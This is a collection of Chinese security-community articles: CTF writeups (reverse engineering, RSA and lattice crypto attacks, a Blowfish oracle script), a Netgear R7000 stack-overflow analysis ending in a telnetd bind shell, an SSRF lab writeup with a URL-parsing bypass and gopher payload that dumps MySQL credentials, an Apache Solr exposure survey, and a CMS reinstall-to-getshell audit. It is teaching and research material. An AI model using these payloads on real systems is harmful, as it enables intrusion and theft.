console.log(hexdump(args[1], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_E5D0-leave---------------");
console.log(hexdump(this.arg1, {
offset: 0,
length: 50,
header: true,
ansi: true
}));
}
});
var a = Java.use('com.test.third.MainActivity');
a.check.implementation=function(p1){
console.log(p1);
return this.check(p1);
};
});
### RE1
题目主函数非常巨大，无法F5，使用idaemu和unicorn模拟执行来辅助我们逆向算法。
from idaemu import *
a = Emu(UC_ARCH_X86, UC_MODE_64)
a.setData(0x80000000,'1234567890abcdefghij123456789012')
a.eFunc(0x810, 0x6d3,[0x80000000,32])
flag=''
for i in a.curUC.mem_read(0x80000000,32):
print hex(i)
打印出来发现题目对输入的变换就是一个简单的加法，提取出密文减回去即可。
addr = 0x18096
end_addr = 0x181cf
arr=[]
while(addr!=end_addr):
if(GetMnem(addr)=='cmp'):
arr.append(GetOperandValue(addr,1))
addr = NextHead(addr)
flag=''
for i in arr:
if(i>=0xe8):
flag+='0123456789'[i-0xe8]
else:
flag+='abcdef'[i-0x19]
print flag
## Crypto
### simplersa
wiener_attack，根据d的bit_legnth来judge。
exp:
#coding:utf-8
import gmpy2
from Crypto.Util.number import *
def transform(x,y): #使用辗转相处将分数 x/y 转为连分数的形式
res=[]
while y:
res.append(x//y)
x,y=y,x%y
return res
def continued_fraction(sub_res):
numerator,denominator=1,0
for i in sub_res[::-1]: #从sublist的后面往前循环
denominator,numerator=numerator,i*numerator+denominator
return denominator,numerator #得到渐进分数的分母和分子，并返回
#求解每个渐进分数
def sub_fraction(x,y):
res=transform(x,y)
res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res))))) #将连分数的结果逐一截取以求渐进分数
return res
#以上是获得e/n的连分数
def get_pq(a,b,c): #由p+q和pq的值通过维达定理来求解p和q
par=gmpy2.isqrt(b*b-4*a*c) #由上述可得，开根号一定是整数，因为有解
x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
return x1,x2
def wienerAttack(e,n):
for (d,k) in sub_fraction(e,n): #用一个for循环来注意试探e/n的连续函数的渐进分数，直到找到一个满足条件的渐进分数
#if k==0: #可能会出现连分数的第一个为0的情况，排除
#continue
#if (e*d-1)%k!=0: #ed=1 (\pmod φ(n)) 因此如果找到了d的话，(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
#continue
if 250<=d.bit_length()<=256:
print(d)
global c
print(long_to_bytes(pow(c,d,n)))
else:
continue
phi=(e*d-1)//k #这个结果就是 φ(n)
px,qy=get_pq(1,n-phi+1,n)
if px*qy==n:
p,q=abs(int(px)),abs(int(qy)) #可能会得到两个负数，负负得正未尝不会出现
d=gmpy2.invert(e,(p-1)*(q-1)) #求ed=1 (\pmod φ(n))的结果，也就是e关于 φ(n)的乘法逆元d
return d
print("该方法不适用")
e=1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
c=1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
d = wienerAttack(e,n)
print("d=",d)
### explosure
dp高位泄露
small_roots解方程
先恢复dp，然后爆破解密
dp=1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
c=46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616
e=7621
n=140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
#print n-c
a = dp<<200
kbits = 200
PR.<x> = PolynomialRing(Zmod(n))
_e =inverse_mod(e,n)
for kp in range(e):
try:
print(kp)
f = x + a - _e * (1 - kp)
x0 = f.monic().small_roots(X=2^kbits, beta=0.4)
print(x0)
if x0:
print(x[0])
break
except:
pass
from Crypto.Util.number import *
r=int(x0[0])
dpp = a + r
print (dpp)
def fxxk(n,e,dp):
for i in range(1,e+1):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
print(p,q)
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
print(d)
print(long_to_bytes(pow(c,d,n)))
fxxk(n,e,dpp)
### RSAssss
yafu分解得到p _(nextprime(q) 和 q_ nextprime(p)，
然后爆破x和y解方程（ nextprime(p) = p + x, nextprime(q) = q+y )
from gmpy2 import *
from tqdm import *
from Crypto.Util.number import *
n=8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257
c=3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
#yufu
p_nextq = 89615068527538836315602124154008300286636934599617334867509053076622715365809371740037316558871796433906844464070995869293654082577887578197182408045175035339285085728002838220314068474670975228778464240088084331807420720121364486765011169669747553393661650912114228227308579940164269877101973728452252879383
q_nextp = n/p_nextq
print n%p_nextq
diff = p_nextq - q_nextp
#print diff
e = 0x10001
for x in tqdm(range(2,2222,2)):
for y in range(2,2222,2):
b = diff + x*y
a = x
c = -q_nextp*y
delta = b**2 - 4*a*c
if iroot(delta,2)[1]:
try:
#print iroot(delta,2)
q = (-b + iroot(delta,2)[0])/(2*a)
assert n%q==0
print "suceess"
d = inverse(e,q-1)
c=3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
print long_to_bytes(pow(c,d,q))
exit()
except Exception as ee:
print str(ee)
pass
-
### easy matrix
GGH，直接套祥哥在xnuca的板子
<https://blog.soreatu.com/posts/writeup-for-crypto-problems-in-xnuca2020/>
exp:
from sage.modules.free_module_integer import IntegerLattice
import numpy as np
matrix=np.load("matrix.npy")
result=np.load("result.npy")
def BabaisClosestPlaneAlgorithm(L, w):
'''
Yet another method to solve apprCVP, using a given good basis.
INPUT:
* "L" -- a matrix representing the LLL-reduced basis (v1, ..., vn) of a lattice.
* "w" -- a target vector to approach to.
OUTPUT:
* "v" -- a approximate closest vector.
Quoted from "An Introduction to Mathematical Cryptography":
In both theory and practice, Babai's closest plane algorithm
seems to yield better results than Babai's closest vertex algorithm.
'''
G, _ = L.gram_schmidt()
t = w
i = L.nrows() - 1
while i >= 0:
w -= round( (w*G[i]) / G[i].norm()^2 ) * L[i]
i -= 1
return t - w
def fxxk_ggh(module,row,column):
module = 2129
row = 128
column = 42
Lattice = Matrix(ZZ, row + column, row)
for i in range(row):
for j in range(column):
Lattice[row + j, i] = matrix[i][j]
Lattice[i, i] = module
lattice = IntegerLattice(Lattice, lll_reduce=True)
target = vector(ZZ, result[:row])
cvp = BabaisClosestPlaneAlgorithm(lattice.reduced_basis, target)
#R = IntegerModRing(module)
FLAG = Matrix(Zmod(module), matrix[:row])
flag = FLAG \ cvp
print(''.join( chr(i) for i in flag))
fxxk_ggh(2129,128,42)
### more_calc
不知道是不是非预期，直接另外的东西不管，把p看成模数，（m < p)
import gmpy2
from Crypto.Util.number import *
flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
e = 0x10001
p = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
c = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
phi = p - 1
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, p)
print(long_to_bytes(m))
### blowfish
基本字节翻转再来一个beast，
#coding:utf-8
from base64 import *
from pwn import *
from hashlib import sha384
from string import printable
from tqdm import *
#context.log_level = 'debug'
sh = remote("8.131.69.237","15846")
def _xor(s1,s2):
tmp=""
for i in range(len(s1)):
tmp+=chr(ord(s1[i])^ord(s2[i]))
#print tmp
return tmp
def sha384(content):
return hashlib.sha384(content).hexdigest()
def PoW():
sh.recvuntil("sha384(XXX+")
tail = sh.recvuntil(")")[:-1]
sh.recvuntil(" == ")
tar = sh.recvuntil("\n")[:-1]
for i in tqdm(printable):
for j in printable:
for k in printable:
tmp = i+j+k
#print tmp+tail
#print tar
#print sha384(tmp+tail)
if sha384(tmp+tail) == tar:
sh.sendline(tmp)
return
else:
print "no"
PoW()
sh.recvuntil("\\___/|_| |_|\\__,_|\n")
sh.recvuntil("\n")
msg = sh.recvuntil("\n")[:-1]
#print "msg",msg
#msg='ralI0ycVw0IuDjZ/cPp0m6dxFH1ROdAo'
iv = b64decode(msg)[:8]
cipher = b64decode(msg)[8:]
#print iv,cipher
ticket=b64encode(_xor(_xor(iv,'Blowfish'),'get_flag')+cipher)
#print "ticket",ticket
pre="0"*47
flag=""
for block in range(42):
sh.sendline(ticket)
sh.sendline(pre)
target = b64decode(sh.recvuntil("\n")[:-1])[40:48]
for i in printable:
tmp = '0'*(47-block)+flag+i
sh.sendline(ticket)
sh.sendline(tmp)
get = sh.recvuntil("\n")[:-1]
now = b64decode(get)
#print now
if now[40:48] == target:
flag += i
print flag
pre = pre[:-1]
break
else:
print "no" | 社区文章 |
**0x0 前言**
来自GRIMM的安全研究人员Adam Nichols和来自越南互联网服务提供商VNPT
的研究人员d4rkn3ss分析报告了一个影响Netgear路由器的严重的栈缓存溢出远程代码执行漏洞，漏洞CVSS
评分为8.8分，漏洞影响79种不同型号的Netgear路由器的758种固件版本，受影响的固件中最早的版本是2007年发布的。远程攻击者利用该漏洞可以以root权限执行代码，并接管设备。
影响路由器：
AC1450
D6220
D6300
D6400
D7000v2
D8500
DC112A
DGN2200
DGN2200v4
DGN2200M
DGND3700
EX3700
EX3800
EX3920
EX6000
EX6100
EX6120
EX6130
EX6150
EX6200
EX6920
EX7000
LG2200D
MBM621
MBR624GU
MBR1200
MBR1515
MBR1516
MBRN3000
MVBR1210
CR4500
R6200
R6200v2
R6250
R6300
R6300v2
R6400
R6400v2
R6700
R6700v3
R6900
R6900P
R7000
R7000P
R7100LG
R7300
R7850
R7900
R8000
R8300
R8500
RS400
WGR614v8WG
R614v9WG
R614v10
WGT624v4
WN2500RP
WN2500RPv2
WN3000RP
WN3100RP
WN3500RP
WNCE3001
WNDR3300
WNDR3300v2
WNDR3400
WNDR3400v2
WNDR3400v3
WNDR3700v3
WNDR4000
WNDR4500
WNDR4500v2
WNR834Bv2
WNR1000v3
WNR2000v2
WNR3500
WNR3500v2
WNR3500L
WNR3500Lv2
XR300
**0x1 简介**
关键点：Netgear R7000，版本1.0.11.100_10.2.100及之前，未认证绕过获取到ROOT权限。
PoC代码参见：<https://github.com/grimm-co/NotQuite0DayFriday/tree/master/2020.06.15-netgear>
**0x2 准备**
版本
V1.0.11.208_10.2.101(已经修复)：<http://support.netgear.cn/Upfilepath/R7000-V1.0.11.208_10.2.101.chk>
版本
V1.0.11.100_10.2.100(存在漏洞)：<https://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.11.100_10.2.100.zip>
调试的程序：httpd
**0x3 工具**
静态分析：IDA
获取文件系统：binwalk
程序调试工具：gdbserver、IDA
串口调试工具：Hyper Terminal软件、TTL转USB转接板
**0x4 测试环境**
Netgear R7000路由器真机测试，可以在某宝上或者某鱼上购买，价格不贵(学到的知识是无价的)。
**0x5 串口调试**
Netgear R7000路由器自身带有串口引脚，所以就没必要太过于费劲寻找串口引脚。如下图所示，是已经连接好的串口。
如下图是USB转TTL转接板，本人为什么先把这个工具插入到USB口，而不是USB转TTL转接板连接杜邦线(正常是提前连接杜邦线，USB转TTL转接板连接USB口，再打开Hyper
Terminal，最后开启路由器，数据就会在Hyper
Terminal显示)，再去连接USB口，是有原因的，主要是因为，如果提前连接好杜邦线，再插入到USB口，那就获取不到信息(不信可以自行尝试，本人之前也遇到过类似的坑，脱坑后一直想着这个点)。
打开Hyper Terminal软件，调整好信息(Netgear R7000路由器使用默认信息即可，不用修改信息)，点击确定。
开启路由器，等待几秒钟，再将杜邦线插入到TTL转USB转接板上(按着GND-GND、RXD-TXD、TXD-RXD的接法接)，如下图所示。
此时就会在Hyper Terminal上打印信息。当打印启动完成后，获取到ROOT权限，便可以进行下一步的调试工作。
**0x6 httpd程序调试**
进入到路由器后，使用wget下载gdbserver程序进行调试(由于Netgear R7000是arm架构，所以需要下载arm架构的gdbserver)。
根据网上曝光的poc来看，漏洞点是在如下图的地址所示，只要能控制v9的大小，便可以溢出s的值。但是想触碰到漏洞点，必须要绕过 strcmp(src,"
_#$^") ，而 src 必须是_ #$^，否则无法绕过，src是我们可以控制的数据，所以绕过这个函数并不难。只要在 *#$^
数据的后面放入00便可以轻松绕过。
想要到达漏洞点，还有两个点需要绕过，s1(全部的数据)
必须存在name="mtenFWUpload"，而且name="mtenFWUpload"的数据之后需要存在
\r\n\r\n，所以在构造数据的时候必须是name="mtenFWUpload" ... \r\n\r\n。
可以看到R1寄存器(src的值)的值是我们控制的长度，而且这个长度是可以溢出到返回值地址处。
没有执行memcpy之前R0的值(s的值)是没有数据的，执行之后，就覆盖了构造好的数据。
运行到POP处，此时的SP的地址是0XBE911E54，就是已经被覆盖成了BBBB，由于ARM架构的特性，它会先将BBBB...IIII的数据存放到R4-R11的寄存器中，真正复制给PC的值是0X003D000，所以最终的返回值地址是0X003D000。
经过构造，程序会跳转到0X003D000地址处，将SP(此时的SP已经是0xBE911E78，所以是utelnetd -p 8888 -l
/bin/sh的值)赋值给R0，并传给system函数执行命令，达到任意命令执行漏洞的效果。
**0x7补丁比较**
图7.1(V1.0.11.208_10.2.101)是已经打过补丁的，限制了v9的长度，而图7.2(V1.0.11.100_10.2.100)并没有对v9的长度进行限制，才导致溢出漏洞。
图 7.1
图 7.2
**0x8 小结**
这个漏洞原理相对来说比较简单，挺适合入门的大白
串口调试时要注意TTL转USB转接板接入。
构造的poc中必须有*#$^，而且后面必须跟00，否则无法绕过strcmp。
0X003D000是很好的执行点，不需要跳转到libc库中，相对来说利用还是比较简单的。
导致溢出的原因，没有限制用户数据的长度。 | 社区文章 |
# SSRF漏洞CTF
## **SSRF Training**
**题目描述:**
web容器中存在一个flag，mysql中存在一个管理员账号密码，其余容器中均没有特定flag
mysql容器中内置 tcpdump
vulnweb容器中内置一个 fpm.py 攻击脚本
**docker-compose.yml**
version: "3"
services:
web:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
depends_on:
- redis
- vuln
- mysql
ports:
- "8233:80"
redis:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest
vuln:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
mysql:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
environment:
- MYSQL_RANDOM_ROOT_PASSWORD=yes
**启动方式**
docker-compose up -d
<http://localhost:8233>
**题目Flag**
n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}
**Writeup**
进入环境
点击interesting challenge
开始代码审计
<?php
highlight_file(__FILE__);//用PHP高亮显示当前的文件
function check_inner_ip($url) //获取url的域名，将域名转为ip，然后再判断这个ip是否是私有地址
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
//返回$url的匹配,值将是 0 次（不匹配）或 1
//^从开头开始匹配
//? 匹配0或1个正好在它之前的那个字符。注意：这个元字符不是所有的软件都支持的
//( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符，请使用 \( 和 \)
//. 匹配除换行符 \n 之外的任何单字符。要匹配 . ，请使用 \.
//* 匹配前面的子表达式零次或多次。要匹配 * 字符，请使用 \*
//$:从字符串末尾进行匹配
if (!$match_result)
{
die('url fomat error');
//如果url不符合正则表达式
}
try
{
$url_parse=parse_url($url);
//分解出一个URL的各个部
// $url_parse是一个数组
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host']; //hostname 为主机名，也就是域名
$ip=gethostbyname($hostname); //通过域名获取IP地址
$int_ip=ip2long($ip); //ip2long：将IPv4的ip地址（以小数点分隔形式）转换为int
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
//判断是否是私有地址，是则这个函数就返回1
}
function safe_request_url($url)
{
if (check_inner_ip($url))
//判断url是否是私有地址
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init(); //初始化新的会话,返回 cURL 句柄，供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //
curl_setopt($ch, CURLOPT_HEADER, 0); //
//curl_setopt函数参数解释：https://www.cnblogs.com/lilyhomexl/p/6278921.html
$output = curl_exec($ch); //抓取URL并把它传递给浏览器
$result_info = curl_getinfo($ch); //php curl请求在curl_exec()函数执行之后，可以使用curl_getinfo()函数获取CURL请求输出的相关信息
//[php curl curl_getinfo()返回参数详解](https://www.cnblogs.com/zqifa/p/php-curl-3.html)
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch); // 关闭cURL资源，并且释放系统资源
var_dump($output); //执行
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
parse_url:
代码：
<?php $url = 'http://username:password@hostname/path?arg=value@anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果：
curl_getinfo
代码：
<?php
$url = 'http://a:@127.0.0.1:[email protected]/flag.php';
//print_r(parse_url($url));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
print_r(curl_getinfo($ch));
?>
结果：
payload:
<http://192.168.10.24:8233/challenge.php?url=http://a:@127.0.0.1:[email protected]/flag.php>
传入的URL为<http://a:@127.0.0.1:[email protected]，那么进入> safe_request_url检测之后
parse_url取到的host是baidu.com
代码：
<?php
$url = 'http://a:@127.0.0.1:[email protected]/flag.php';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果：
而curl取到的是127.0.0.1:80，所以就实现了检测IP时候是一个正常的一个网站域名而实际curl请求的时候是构造的127.0.0.1
得到flag：n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}
接下来是攻击MySQL,打开2个MySQL容器，一个使用tcpdump，一个进行MySQL查询。
使用docker ps命令找到mysql容器的command id为e2c90d571d32
使用docker inspect e2c90d571命令查找mysql容器的pid为3602
使用nsenter --target 3602 -n命令进入mysql容器
查看mysql容器的ip
使用tcpdump抓取mysql容器内的包
tcpdump -i eth0 port 3306 -w /var/www/html/mysql.pcap
结果：
使用docker ps命令找到mysql容器的command id为e2c90d571d32
使用docker inspect e2c90d571d32 | grep IPAddress命令找到mysql容器的ip为172.21.0.4
连接mysql
mysql -h 172.21.0.4 -uweb
使用ssrf数据库
use ssrf;
查询账号密码
select * from user;
结果
用wireshark打开这个数据包,再随便选择一个包并单击右键，在弹出的快捷菜单中选择“追踪流 → TCP流”，过滤出客户端到服务端的数据包：
把它转为原始数据，再将原始数据整理为一行，并将其url编码。
这里用到的URL编码脚本如下：
def result(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":
s="bb00000185a69f20000000012d000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f70696404353637390f5f636c69656e745f76657273696f6e06332e302e3130095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f73740a3137322e32312e302e34210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
print(result(s))
得到：
将其修改为。ip可为MySQL容器的ip或者127.0.0.1
curl gopher://172.21.0.4:3306/_%bb%00%00%01%85%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7f%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%35%36%37%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%33%2e%30%2e%31%30%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%0a%31%37%32%2e%32%31%2e%30%2e%34%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01 | cat
进行攻击，获得user表中的数据，运行结果：
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 【安全报告】Apache Solr 已知版本漏洞现状基本调查报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 背景介绍**
Apache Solr 是一种可供企业使用的、基于 Lucene 的搜索服务器。 该产品于 2017 年 10 月被爆出存在严重的 XXE 和 RCE
漏洞,攻击者可以使 用这些漏洞来读取服务器任意文件,甚至进行远程命令执行。这将给被攻击站点造成严重危害。
**0x01 全网扫描数据分析**
360 CERT 根据已知的 Apache Solr 漏洞, 编写了针对各个版本的漏洞检 测脚本,并对全网进行了针对性扫描(主要针对默认端口
8983),发现全网存 在大量受已知漏洞影响的站点。具体分布情况如下:
**1、全球范围分布情况**
通过全网检测的结果,发现当前公网上存在受已知漏洞影响的 Solr 总数为9626,在全球的分布状况如下:
受影响的前十个国家占比情况如下：
**2、全国范围分布情况**
通过全网检测的结果，可以看到当前国内公网上存在Solr各个漏洞的总数为1685，在全国的分布状况如下：
前15个受影响省份的数量统计如下表：
存在漏洞的站点中，前十个省份的占比情况如下图：
存在漏洞的站点中，前十个城市的占比情况如下图：
**3、Solr各版本漏洞数量、比例**
360CERT针对全网的检测中涉及的漏洞主要有：
**1\. 未授权访问漏洞**
**2\. CVE-2017-12629中的RCE漏洞（通过版本号评估）**
在所有未授权访问漏洞中，排名前十个的Solr版本比例如下：
其中数量前十位的版本号情况如下：
通过版本比例可以预估，全网可能包含的RCE漏洞总数为4124：
比例图如下：
本次RCE&&XXE漏洞影响Solr的版本广泛，通过上述信息可以看出全网有相当数量的Solr站点将可能受到影响。
**4、存在漏洞的站点（部分列表）**
中国存在未授权访问漏洞扫描结果总数为：1685，下表为其中部分站点：
**0x02 时间线**
2017-10-20 360CERT完成Solr XXE&&RCE漏洞初步分析
2017-10-21 360CERT完成Solr XXE&&RCE漏洞详细分析
2017-10-24 360CERT完成全网范围分析报告
**0x03 参考文档**
<https://www.exploit-db.com/exploits/43009/>
<http://seclists.org/oss-sec/2017/q4/105>
<https://wiki.apache.org/solr/SolrSecurity> | 社区文章 |
## 前言
最近渗透测试某站点的时候触发了一个报错，然后发现了站点使用的CMS，百度了一下是一个国产开源的企业级CMS。从官网拉下来审了一下，再此记录一下
## 入口
下面是index.php入口文件
<?php
if( !file_exists(dirname(__FILE__) . "/include/config.db.php") )
{
header("Location:install/index.php");
exit();
}
require_once( "include/common.inc.php" );
$mod = str_replace( '../', '', $mod );
if( empty( $mod ) )
{
$mod = 'index';
}
$action_file = WEB_INCLUDE . '/action/' . $mod . '.php';
file_exists($action_file) && require_once($action_file);
$cls_tpl = cls_app:: get_template( $mod );
$cls_tpl->display();
?>
很常见的cms入口形式，但是可以注意到第八行将../替换为空，这里怀疑会不会存在目录穿越，可以采用..././这样的形式来穿越到上一层。但是第15行限制了后缀必须为php，且由于前缀也被限制于是不能使用zip伪协议拿shell，如果php版本为5.2可以采用00截断包含任意文件，这里暂时卡住，继续审计，第2行应该为配置文件略过，跟进第7行的common.inc.php
common.inc.php开头先定义了许多常量，然后更改了一些php配置，接着又引入了两个文件，跟进发现配置了一些变量，先不管，继续向下审计common.inc.php
<?php
$req_data = array();
foreach( array('_GET', '_POST', '_COOKIE') as $_request )
{
foreach( $$_request as $_k => $_v )
{
${$_k} = _get_request($_v);
if( '_COOKIE' != $_request )
{
$req_data[$_k] = _get_request($_v);
}
}
}
unset($_GET, $_POST);
?>
上面代码可以很明显的发现，cms把$_GET,$_POST,$_COOKIE注册为了全局变量。所以之后可能存在变量覆盖，之后的代码引入了全局函数和全局类。这时候CMS入口以审计结束，可以开始审计函数和类
## 重安装漏洞（Getshell）
由于安装文件一般是漏洞的重灾地，于是这里直接跳到了安装文件，果然找到了漏洞点。
在install_action.php中，安装完成后会把前端文件重命名，但是后端逻辑文件依旧存在，所以如果知道安装文件位置即可重安装
<?php
function install_end()
{
//安装收尾
//把安装文件的名字换了
@rename('index.php', 'index.php_bak');
}
这里只重命名了前端文件
而且在文件280行，存在写文件操作，文件名为php且文件内容可控
<?php
$db_tablepre = $_POST['tablepre'];
write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre);
function write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre)
{
//写入数据库配置
global $db_code;
$db_config = "";
$db_config .= "<?php\n\n";
$db_config .= "\$db_type = '" . $db_type . "';\n";
$db_config .= "\$db_host = '" . $db_host . "';\n";
$db_config .= "\$db_name = '" . $db_name . "';\n";
$db_config .= "\$db_pass = '" . $db_pass . "';\n";
$db_config .= "\$db_table = '" . $db_table . "';\n";
$db_config .= "\$db_ut = '" . $db_code . "';\n";
$db_config .= "\$db_tablepre = '" . $db_tablepre . "';\n\n";
$db_config .= "?>";
require_once("../include/class/class.file.php");
$cls_file = new cls_file('../include/config.db.php');
$cls_file-> set_text($db_config);
return $cls_file-> write();
}
由于文件内容可控，我们可以通过tablepre=exp来写入一个恶意php文件
